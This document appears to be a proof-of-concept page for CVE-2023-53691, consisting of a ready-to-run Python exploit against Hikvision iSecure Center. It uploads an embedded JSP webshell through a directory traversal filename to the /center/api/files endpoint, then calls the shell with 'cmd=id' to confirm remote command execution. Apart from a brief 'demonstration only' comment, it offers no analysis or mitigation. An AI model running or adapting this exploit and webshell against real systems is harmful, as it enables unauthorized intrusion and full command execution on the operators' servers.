CVE-2023-53691：海康威视iSecure Center目录遍历文件上传漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2023-53691 - Hikvision iSecure Center Directory Traversal File Upload PoC This PoC demonstrates the directory traversal vulnerability in the file upload endpoint /center/api/files of Hikvision CSMP iSecure Center. """ import requests import sys TARGET_URL = "http://target-host" UPLOAD_ENDPOINT = "/center/api/files" # Malicious JSP webshell content (for demonstration purposes only) WEBSHELL_CONTENT = b"""<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>""" def exploit(target_url, traversal_path, filename="shell.jsp"): """ Exploit directory traversal to upload a webshell to the web root directory. :param target_url: Base URL of the target Hikvision iSecure Center :param traversal_path: Directory traversal sequence to escape upload directory :param filename: Name of the malicious file to upload """ upload_url = target_url.rstrip('/') + UPLOAD_ENDPOINT # Construct the traversal filename malicious_filename = traversal_path + filename print(f"[*] Target URL: {upload_url}") print(f"[*] Malicious filename: {malicious_filename}") # Prepare multipart file upload with traversal path files = { 'file': (malicious_filename, WEBSHELL_CONTENT, 'application/octet-stream') } # Additional form data that may be required by the API data = { 'name': malicious_filename, 'type': 'file' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*', 'Connection': 'close' } try: # Send the malicious upload request response = requests.post( upload_url, files=files, data=data, headers=headers, timeout=30, verify=False ) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Headers: {dict(response.headers)}") print(f"[*] Response Body (first 500 chars): {response.text[:500]}") if response.status_code in [200, 201]: print(f"[+] Upload may have succeeded!") # Try to access the uploaded webshell webshell_url = target_url.rstrip('/') + '/' + filename print(f"[*] Try accessing webshell at: {webshell_url}?cmd=id") check_response = requests.get(webshell_url, params={"cmd": "id"}, timeout=10) print(f"[*] Webshell Response Status: {check_response.status_code}") print(f"[*] Webshell Response: {check_response.text[:500]}") if check_response.status_code == 200 and "uid=" in check_response.text: print("[+] SUCCESS! Webshell is accessible and executing commands!") return True else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [traversal_path]") print(f"Example: {sys.argv[0]} http://192.168.1.100:8080") print(f"Example: {sys.argv[0]} http://192.168.1.100:8080 ../../../../webapps/ROOT/") sys.exit(1) target = sys.argv[1] traversal = sys.argv[2] if len(sys.argv) > 2 else "../../../../webapps/ROOT/" requests.packages.urllib3.disable_warnings() success = exploit(target, traversal) sys.exit(0 if success else 1)